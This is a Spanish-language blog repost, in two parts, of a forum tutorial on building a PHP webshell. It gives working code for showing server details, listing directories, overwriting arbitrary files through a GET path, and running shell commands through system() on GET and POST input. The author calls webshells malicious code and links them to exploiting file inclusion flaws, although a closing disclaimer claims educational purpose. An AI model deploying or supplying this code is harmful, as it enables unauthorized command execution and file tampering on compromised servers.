Construcción de WebShells por TheX-C3LL[con su consentimiento] pt2 y final provisional

19. abril 2010

0x04 Editando Archivos


  En íntima relación con el listador que ya hicimos como ejercicio, vamos a crear hoy un script para editar el código fuente de los archivos que tengamos en el servidor (y sobre los cuales tengamos los permisos pertinentes).

En el script para editar, vamos a meter la ruta del archivo a editar a través de una variable tipo GET (la llamaremos edit, para no complicarnos la vida XDD). Despues volcaremos en un textarea el código fuente del archivo, y dentro del textarea será donde modifiquemos el source. Tras esto, cuando le demos a "guardar" mandará por POST el contenido y sobreescribirá el archivo con el nuevo contenido.

Según lo comentado, lo primero será poner una condición IF para ver si está "seteada" la variable $_GET['edit'], y de estarlo, sacamos la ruta del archivo.

Código:

<?php
if(isset($_GET['edit'])){
$active=explode('/',$_GET['edit']);
$active=array_reverse($active);
echo 'Editing: '.$active[0].'<p>';//Mostramos el nombre del archivo que estamos editando


Ahora iniciamos un formulario, en el cual editaremos el código fuente del archivo (para ello previamente debemos de mostrarlo).

Código:

echo '<form action="" method=POST><center>
      <input type=Submit name="editor" value="Save it!">';


Y ahora miramos si está "seteada" la variable POST, de estarlo abrimos el archivo en cuestión y lo sobreescribimos:

Código:

if(isset($_POST['editor'])){ //miramos si tiene contenido la variable y de tenerlo
  @$write=fopen($_GET['edit'],'w+');//abrimos el archivo que metimos por $_GET['edit] en modo w+
  $code=stripslashes($_POST['code']);//Filtramos el codigo, code será la variable del contenido del textarea
  @$ok=fwrite($write,$code);//Sobrescribimos


Una cosa muy útil (por si no os acordais de los permisos del archivo) puede ser implementar en vuestra shell al funcion de Hondamena, o bien comprobar si te deja guardar o no. Si te da error, es que no tienes permisos XD:

Código:

if(!$ok){
  echo '<br><font color=red>Error: You need more Perms</font>';
  }
  else{
  echo '<br><font color=green>DONE!</font>';
  }
  }
  echo '<br>';



Y ahora viene la parte del textarea

Código:

echo '<textarea cols="95" rows="30" name="code">';//Como dije, aqui la variable "code"
@$read=fopen($_GET['edit'],'r');//Abrimos en modo read para ver el source
@$read=fread($read,filesize($_GET['edit']));//Array con contenido
echo htmlentities($read);//Filtramos variable
echo '</textarea>';
echo '</form>';//cerramos form y textarea
exit()
?>


Ahora la cuestión es... todo esto es muy bonito... pero como metemos la ruta y el archivo en $_GET['edit']?. A través del listador Tongue. Tal y como hicisteis para diferenciar directorios de archivos (y como mace por ejemplo añadió una función para "navegar" a través de su shell por todos los directorios), teneis que mostrar un link tipo ?edit=$ruta/$archivo, en vez de mostrar el nombre del archivo únicamente.
  Podeis hacer algo tipo:

Código:

while ($archivo = $directorio->read())
{
  $extension=filetype($ruta.'/'.$archivo);
 if ($extension=="dir"){
echo "<a ";
echo "href=?path=$ruta/$archivo>$archivo</a>)";
}
else {
echo '<a href=?edit=$ruta/$archivo>$archivo</a><br>';


O tambien podeis hacer eso, pero mediante tablas, y que quede al lado de cada archivo un link que ponga href=?path=$ruta/$archivo> [Edit][/url]

 

0x05 Ejecutando comandos

Ahora es cuando hablamos realmente de una "shell". Este capítulo (corto por cierto) va enfocado a la ejecución de comandos en la shell del servidor. Un script muy sencillito sería

Código:

<?php ob_clean; system($_GET['cmd']); ?>


 Si subésemos eso a nuestro servidor con el nombre de shell.php, y le hacemos una petición GET al estilo de: www.ejemplo.es/shell.php?cmd=cd ../; ls -la  . Lo que pasaría es que subiría una carpeta más arriba, y mostraría el contenido de ésta incluyendo información como los permisos de cada archivo/carpeta. 

  Si queremos implementar esto en lo que actualmente podríamos considerar como "listador", podríamos hacer algo al estilo de:

Código:

<?php
if(isset($_GET['cmd'])){
echo '<form method=POST action="?cmd">
<input type=TEXT name=command value="'.$_POST['command'].'">
<input type=submit name=eje value="Execute!">';
echo '</form>';
  if($_POST['command']!="" && isset($_POST['eje'])){
  echo '<textarea cols="100" rows="30">';
  system($_POST['command']);
  echo '</textarea>';
  exit();
    }
exit();
}
?>


Lo que haríamos es crear un formulario, en el cual hay un input, que será donde escribamos nuestros comandos (recordad separar cada comando con ; ). Despues comprueba que si el texto introducido en input es distinto a un espacio, y al mismo tiempo está seteada la variable del "submit" ejecuta los comandos puestos en el input (a través de system()) y vuelca el resultado en un textarea.


Construcción de WebShells por TheX-C3LL[con su consentimiento] pt1

9. abril 2010

A nuestra vuelta a internet , hoy os presentamos la primera parte de un manual de The X-C3LL sobre como crear web shells basicas, el manual fue creado para un foro, y para no alterar su contenido voy a citarlo textualmente de el.

Sin mas dilación:

 

Taller de construcción de WebShells básicas


Saludos!

  Lo prometido es deuda, y aquí estamos con este taller de introducción de cómo construir nuestras propias WebShells "Básicas" (Sin ninguna función especial), para no tener que depender tanto de las construidas por otras personas, ya que algo fundamental en el under es construirte tus propias herramientas y no pedírselas prestadas al vecino  Shocked.

  Así que primero daré explicación sobre qué es una webshell, cómo se pueden usar, y despues ya nos metemos en materia. Como quiero que esto sea lo más interactivo posible, iré poco a poco y esperando a que la gente postee sus ejemplos de cada parte que veamos, y al mismo tiempo ir resolviendo todas las dudas que surjan. Para empezar iros haciendo con algún hosting gratuito que permita correr scripts en PHP para ir trabajando.

  Antes que nada disculparme por mi tardanza, pero estuve desde primeros de mes en Salamanca y en Valladolid, en el primer sitio para buscar residencia, hacer la matrícula etc.

0x00 Definición de WebShell


  Yo por mi parte definiría a una WebShell como un script en PHP, PERL, ASP, etc. que permite a un usuario malintencionado ejecutar comandos y funciones dentro de un servidor. En nuestro caso vamos a ver cómo crear una en PHP.

  El código más simple puede ser ejecutar un único comando dentro del servidor. Para ello nos valemos de la función "System". Así podemos hacer por ejemplo:

Código:

<?php
system("dir");
?>


  Así que en la esencia más pura de la palabra, una WebShell es un código malicioso que permite ejecutar comandos en la Shell del servidor, pero hoy en día las webshells son scripts mucho más complejos que permiten desde listar el contenido de un directorio hasta modificar los archivos que contiene, uploadear exploits, dumpear DB's etc... Es imprescindible llegados a este punto el conocer al dedillo las vulnerabilidades  de Local y Remote File Inclusion, así que buscar en el foro e informaros bien sobre éstas, porque gracias a las webshells vamos a poder explotarlas

 


0x01 Datos Servidor

 

  En mi humilde opinión creo que lo primero que debe de mostrar nuestra webshell es la información del servidor. Un script sencillo parecido a este puede servir:

 

Código:

<?php

$Server=$_SERVER[SERVER_SOFTWARE];
echo "Server: <font color=red>$Server</font>";
echo "<br>";
$OS=php_uname();
echo "More Information of Server: <font color=red>$OS</font>";
echo "<br>";
$server_IP=$_SERVER[SERVER_ADDR];
echo "Server Address: <font color=red>$server_IP</font>";
echo "<br>";
$Lugar_shell=$_SERVER[SCRIPT_FILENAME];
echo "The Shell is in: <font color=red>$Lugar_shell</font>";
echo "<br>";
echo "Dir: <font color=red>";
echo getcwd();
echo "</font>";


?>


  Claro que así es muy "cutre", así que debemos de ir dándole estilo... Yo voy a usar el mismo estilo que una de la shells que construí en su momento, así que en mi caso, el resultado fue este:

 

Código:

<!-- Styles CSS --!>


<STYLE type="text/css">
A:link {
color: white;
text-decoration: none;
}
A:visited {
color: white;
text-decoration: none;
}
A:hover {
text-decoration: none;
cursor: crosshair;
color: red;
}
textarea {
font-family: courier new;
background-color: #282828;
font-size: 10pt;
border: 1px red solid;
color: red;
}
input {
background:#282828;
color:red;
font-family: Courier New;
border: 1px red solid;
}
</STYLE>

<!-- End of Styles || Starting the body --!>




<body style="cursor: crosshair; background: #000000; color: white;">
<font color=white>
<center>
<h1><font face="Courier New"><font color=red>[</font><b>!</b><font color=red>]</font> Av3ng3r Sh3LL <font color=red>[</font><b>!</b><font color=red>]</font></h1><br><font size=2 color=orange>By Vengador de las Sombras</font><br><br>
<div style="bottom: 50%%; width: 80%; left: 23%; right: 7%; top: 28%;
visibility: visible; z-index:10; font-family: Courier New; background-color: #000000; border:1px red dashed; text-decoration: none; text-aling: left;">
<b>
   <center>
       Informacion del Servidor:
</b>
     </center><br><br>
<?php

$Server=$_SERVER[SERVER_SOFTWARE];
echo "Server: <font color=red>$Server</font>";
echo "<br>";
$OS=php_uname();
echo "More Information of Server: <font color=red>$OS</font>";
echo "<br>";
$server_IP=$_SERVER[SERVER_ADDR];
echo "Server Address: <font color=red>$server_IP</font>";
echo "<br>";
$Lugar_shell=$_SERVER[SCRIPT_FILENAME];
echo "The Shell is in: <font color=red>$Lugar_shell</font>";
echo "<br>";
echo "Dir: <font color=red>";
echo getcwd();
echo "</font>";


?>
<br><br>
</div>
</center>
<!-- #End OF Server Info# --!>

 

 

 

 

0x03 Listando Directorios y Archivos

Algo fundamental a la hora de crear una WebShell es el ordenar los directorios de trabajo y los archivos que hay en ellos, con el fin de facilitar la administración dentro del servidor. Para ello nosotros nos vamos a valer de dos Scripts. No voy a explicar detenidamente línea por línea lo que hace el script puesto que ya dije que debíais de llevar una base mínima en PHP, de todas formas si teneis cualquier duda posteadla. De todas formas explicaré que hacen en líneas generales:


Código:
<?php
if($_GET['path']==""){
$jiji=dirname($Lugar_shell);
@$directorio=dir($jiji);
$ruta=$jiji;
}
else{
@$directorio=dir($_GET['path']);
$ruta=$_GET['path'];
}
?>
<?php
$path="$ruta";
$directorio=dir($path);
echo "<br><br>";
while ($archivo = $directorio->read())
{
  $extension=filetype($ruta.'/'.$archivo);
 if ($extension=="dir"){
echo "<font color=red><b>(<a ";
echo "href=?path=$ruta/$archivo>$archivo</a>)</b></font><br>";
}
else {
echo "<tr><td><a href=?edit=$ruta/$archivo>$archivo</a><br></td>";
}
$directorio->close();
echo "<br><br>";
?>
Con este lo que hacemos es mostrar el contenido del directorio actual. Si en el contenido (que se va listando mediante el WHILE) hay otro directorio, se reseña de una manera especial y se le hace "?PATH", en cambio, si se trata de un archivo, al clicar sobre él te llevará a ?edit (para editar). Ésta es una función que veremos el próximo día.

 

Como siempre aclarar que f-labs cuenta con el consentimiento de el autor para publicar el contenido y que este esta enfocado siempre al uso didactico y responsable.La intención de este manual es poder crear nuestras propias web shells para usarlas en local y probar nuestros servidores ya sea fixeando vulnerabilidades o usando las shells de gestor de archivos .

 

Proximamente, la segunda parte del manual.

 

p.d: Seguimos en mantenimiento se recomiendo guardar la entrada si es de interes por posibles perdidas de datos.